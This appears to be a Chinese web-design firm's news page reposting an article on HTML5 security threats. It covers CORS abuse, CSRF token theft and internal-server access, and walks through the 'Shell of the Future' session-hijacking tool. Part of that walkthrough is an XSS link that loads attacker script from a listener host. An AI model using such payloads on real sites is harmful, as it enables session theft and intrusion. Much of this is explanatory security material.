新聞中心
HTML5 是下一代的HTML,HTML5賦予網(wǎng)頁更好的意義和結(jié)構(gòu)。更加豐富的標(biāo)簽將隨著對RDFa的,微數(shù)據(jù)與微格式等方面的支持,構(gòu)建對程序、對用戶都更有價值的數(shù)據(jù)驅(qū)動的Web?;贖TML5開發(fā)的網(wǎng)頁APP擁有更短的啟動時間,更快的聯(lián)網(wǎng)速度。本文詳細(xì)介紹了HTML5的普及,帶來的新的安全威脅。

創(chuàng)新互聯(lián)是一家專注于成都網(wǎng)站建設(shè)、成都網(wǎng)站制作與策劃設(shè)計,嘉陵網(wǎng)站建設(shè)哪家好?創(chuàng)新互聯(lián)做網(wǎng)站,專注于網(wǎng)站建設(shè)十載,網(wǎng)設(shè)計領(lǐng)域的專業(yè)建站公司;建站業(yè)務(wù)涵蓋:嘉陵等地區(qū)。嘉陵做網(wǎng)站價格咨詢:18982081108
一、CORS(Cross-Origin Resource Sharing) 跨域資源共享
為了構(gòu)建高品質(zhì)的網(wǎng)站,以及滿足日益增長的用戶需求,HTML5針對SOP(同源策略)放寬了一些限制,簡單的說,同源策略允許來自同一站點的頁面訪問其頁面的方法和屬性等,但限制了跨域調(diào)用其他頁面的方法和屬性?,F(xiàn)在HTML5放寬了這些限制,XMLHttpRequest Level 2新增了功能CORS協(xié)議,允許Ajax發(fā)起跨域的請求,瀏覽器是可以發(fā)起跨域請求的,比如你可以外鏈一個外域的圖片或者腳本。但是Javascript腳本是不能獲取這些資源的內(nèi)容的,它只能被瀏覽器執(zhí)行或渲染。
COR是頁面層次的控制模式。每一個頁面需要返回一個名為‘Access-Control-Allow-Origin’的HTTP頭來允許外域的站點訪問。你可以僅僅暴露有限的資源和有限的外域站點訪問。在COR模式中,訪問控制的職責(zé)可以放到頁面開發(fā)者的手中,而不是服務(wù)器管理員。當(dāng)然頁面開發(fā)者需要寫專門的處理代碼來允許被外域訪問。
所以只要b.com允許,a.com可以使用ajax獲取A上任意數(shù)據(jù),國外安全研究者Lava Kumar開發(fā)了一款工具“Shell of the future”。
Shell of the Future 是一個反向Web Shell處理工具(Reverse Web Shell handler)。利用跨站腳本攻擊或瀏覽器地址欄注入javascript以后,Shell of the Future可進行劫持會話。 它利用了HTML5支持的Cross Origin Requests,可以繞過一些反會話劫持的方法,如HTTP-Only限制的cookie,幫定IP地址的會話ID。
下載地址
如何使用該工具:
1、下載并解壓該工具,雙擊“Shell of the Future.exe”,會彈出一個窗口。
2、輸入任意端口,點擊“Start”。
3、使用瀏覽器訪問http://127.0.0.1:8008/sotf.console (firefox效果最佳)
4、不出問題,你將看到以下畫面。(Shell of the Future有兩個JavaScript的exp- e1.js和e2.js,我們可以利用XSS漏洞將其嵌入到受害者的瀏覽器)
5、當(dāng)一個用戶登錄下面的測試網(wǎng)站:
http://www.testfire.net/bank/login.aspx (admin/admin)
該站點的搜索功能粗在一個XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
6、攻擊者發(fā)送一個惡意鏈接給用戶,如下:
http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
7、當(dāng)用戶點擊之后,攻擊者的IP地址將會發(fā)送給攻擊者,然后點擊“Hijack Session”:
8、點擊Hijack Session之后,將出現(xiàn)如下畫面:
#p#
二、竊取CSRF令牌(token)
目前很多互聯(lián)網(wǎng)站點都在使用token來防御CSRF攻擊,但是隨著HTML5技術(shù)的普及,攻擊者很有可能竊取到CSRF的token,如果CSRF token的請求URL(GET請求),利用前面提到的CORS協(xié)議,攻擊者可以注入一個CSRF payload跨域請求到目標(biāo)站點上。當(dāng)然,利用的話需要服務(wù)端添加一個HTTP 頭字段“origin”,并且需要設(shè)置該屬性withCredentials為true,讓我們來看看如何利用:
1、某用戶登錄www.bank.com。
2、假設(shè)該站點有CSRF保護,即在表單提交的地方添加了隱藏的token,然后發(fā)送GET請求到服務(wù)端進行驗證,如下:
3、攻擊者通過email、IM聊天工具或其他方式發(fā)送一個惡意站點ww.attackersite.com4、攻擊者可以提交一個Ajax請求到www.bank.com并且執(zhí)行一些操作,但是需要知道CSRF的token值。5、所以攻擊者需要竊取到token令牌,然后進行CSRF攻擊。
6、攻擊者編寫了下面的一段代碼,發(fā)送Ajax請求到ConfirmTransfer.jsp頁面并接受其響應(yīng),在返回的數(shù)據(jù)包中搜索csrfToken,找到后,另外一個Ajax請求被發(fā)送,其中包含了CSRF token。
以上的一切操作全在后臺進行,用戶完全不知情,因此,在HTML5中,攻擊者完全可能獲取到CSRF TOKEN和執(zhí)行一些操作。#p#
三、訪問內(nèi)部服務(wù)器:
很多互聯(lián)網(wǎng)公司除了有ONLINE對外的業(yè)務(wù)之外,在內(nèi)部也用著很多的應(yīng)用,如財務(wù)管理系統(tǒng)、員工管理系統(tǒng)以及其他的一些內(nèi)部社區(qū)等,很多開發(fā)者為了各個應(yīng)用之間調(diào)用簡潔方便,在很多應(yīng)用中都添加了以下頭:
Control-Allow-Origin: *
攻擊者可以利用社會工程學(xué),讓內(nèi)部用戶點擊一個鏈接,然后攻擊者就可以訪問到內(nèi)部的一些資源,以下為操作步驟:
1、員工登錄到內(nèi)部的某應(yīng)用,如www.internalurl.com
2、internalurl服務(wù)器返回的響應(yīng)頭設(shè)置了Access-Control-Allow-Origin: *(允許任何域發(fā)起的請求都可以獲取當(dāng)前服務(wù)器的數(shù)據(jù)。)
3、員工受到一封郵件,點擊了鏈接 – www.malicioussite.com
4、這個站點包含了正常的UI內(nèi)容,所以員工一般不會察覺,但是,該頁面包含了一段javascript代碼。
5、該javascript代碼會發(fā)送一個XMLHttpRequest請求。
6、分析返回的數(shù)據(jù)包,并把它發(fā)送到攻擊者的服務(wù)器。
7、攻擊者獲取到公司內(nèi)部站點的相關(guān)信息。#p#
四、HTML5新的XSS攻擊載體
直到現(xiàn)在,還有很多開發(fā)者總喜歡開發(fā)自己定義的XSS黑名單過濾器,以阻止XSS攻擊,包含了大多網(wǎng)絡(luò)上常見的XSS利用的代碼,如img、script等,HTML5中引入了很多新的標(biāo)簽屬性,如audio和vedio標(biāo)簽,新的標(biāo)簽帶來了新的事件,會繞過現(xiàn)有的過濾器,以下為收集的HTML5存在跨站的標(biāo)簽:


咨詢
建站咨詢
